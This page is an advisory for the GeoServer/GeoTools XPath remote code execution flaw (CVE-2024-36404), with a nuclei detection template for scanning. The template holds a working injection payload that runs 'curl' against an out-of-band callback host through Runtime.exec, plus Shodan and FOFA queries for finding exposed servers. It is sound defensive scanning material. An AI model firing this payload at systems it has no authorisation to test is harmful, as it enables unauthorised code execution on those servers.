GeoServer and GeoTools - Remote Code Execution

criticalseverity

9.8CVSS score

76.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

GeoTools is an open source Java library that provides tools for geospatial data. Prior to versions 31.2, 30.4, and 29.6, Remote Code Execution (RCE) is possible if an application uses certain GeoTools functionality to evaluate XPath expressions supplied by user input. Versions 31.2, 30.4, and 29.6 contain a fix for this issue. As a workaround, GeoTools can operate with reduced functionality by removing the `gt-complex` jar from one's application. As an example of the impact, application schema `datastore` would not function without the ability to use XPath expressions to query complex content. Alternatively, one may utilize a drop-in replacement GeoTools jar from SourceForge for versions 31.1, 30.3, 30.2, 29.2, 28.2, 27.5, 27.4, 26.7, 26.4, 25.2, and 24.0. These jars are for download only and are not available from maven central, intended to quickly provide a fix to affected applications.

Impact

Unauthenticated attackers can execute arbitrary code remotely via XPath expression exploitation in GeoTools functionality.

Fix

Update GeoServer and GeoTools to versions 31.2, 30.4, or 29.6 or later.

How to confirm it

Send: GET {{BaseURL}}/geoserver/wfs?service=WFS&request=GetCapabilities ; GET {{BaseURL}}/geoserver/ows?service=WFS&request=GetCapabilities ; GET {{BaseURL}}/wfs?service=WFS&request=GetCapabilities ; GET {{BaseURL}}/ows?service=WFS&request=GetCapabilities
Positive when: contains(body, "wfs:WFS_Capabilities") and contains(content_type, "application/xml") and status_code == 200
Send: POST {{BaseURL}}/geoserver/wfs?service=WFS ; POST {{BaseURL}}/geoserver/ows?service=WFS ; POST {{BaseURL}}/wfs?service=WFS ; POST {{BaseURL}}/ows?service=WFS
Positive when: contains(interactsh_protocol, "dns") and contains(body, "java.lang.ClassCastException") and contains(content_type, "application/xml") and status_code == 400

Run it with nuclei: nuclei -id CVE-2024-36404 -u <target>

The full check

id: CVE-2024-36404

info:
  name: GeoServer and GeoTools - Remote Code Execution
  author: ritikchaddha,darses
  severity: critical
  description: |
    GeoTools is an open source Java library that provides tools for geospatial data. Prior to versions 31.2, 30.4, and 29.6, Remote Code Execution (RCE) is possible if an application uses certain GeoTools functionality to evaluate XPath expressions supplied by user input. Versions 31.2, 30.4, and 29.6 contain a fix for this issue. As a workaround, GeoTools can operate with reduced functionality by removing the `gt-complex` jar from one's application. As an example of the impact, application schema `datastore` would not function without the ability to use XPath expressions to query complex content. Alternatively, one may utilize a drop-in replacement GeoTools jar from SourceForge for versions 31.1, 30.3, 30.2, 29.2, 28.2, 27.5, 27.4, 26.7, 26.4, 25.2, and 24.0. These jars are for download only and are not available from maven central, intended to quickly provide a fix to affected applications.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely via XPath expression exploitation in GeoTools functionality.
  remediation: |
    Update GeoServer and GeoTools to versions 31.2, 30.4, or 29.6 or later.
  reference:
    - https://nsfocusglobal.com/remote-code-execution-vulnerability-between-geoserver-and-geotools-cve-2024-36401-cve-2024-36404-notification/
    - https://geoserver.org/vulnerability/2024/09/12/cve-2024-36401.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36404
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-36404
    cwe-id: CWE-95
    epss-score: 0.76065
    epss-percentile: 0.99535
  metadata:
    verified: true
    max-request: 8
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"geoserver"
      - 'http.html_hash:1093634893 "Content-Disposition: inline"'
      - http.favicon.hash:97540678
      - html:"/geoserver/"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
      - icon_hash="97540678"
      - body="/geoserver/"
  tags: cve,cve2024,geoserver,rce,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/geoserver/wfs?service=WFS&request=GetCapabilities"
      - "{{BaseURL}}/geoserver/ows?service=WFS&request=GetCapabilities"
      - "{{BaseURL}}/wfs?service=WFS&request=GetCapabilities"
      - "{{BaseURL}}/ows?service=WFS&request=GetCapabilities"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "wfs:WFS_Capabilities")'
          - 'contains(content_type, "application/xml")'
          - "status_code == 200"
        condition: and
        internal: true

    extractors:
      - type: xpath
        name: featuretype
        internal: true
        xpath:
          - /wfs:WFS_Capabilities/FeatureTypeList/FeatureType[1]/Name

  - method: POST
    path:
      - "{{BaseURL}}/geoserver/wfs?service=WFS"
      - "{{BaseURL}}/geoserver/ows?service=WFS"
      - "{{BaseURL}}/wfs?service=WFS"
      - "{{BaseURL}}/ows?service=WFS"

    headers:
      Content-Type: application/xml
    body: |
      <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>
        <wfs:Query typeNames='{{featuretype}}'/>
        <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl {{interactsh-url}}')</wfs:valueReference>
      </wfs:GetPropertyValue>

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "java.lang.ClassCastException")'
          - 'contains(content_type, "application/xml")'
          - "status_code == 400"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from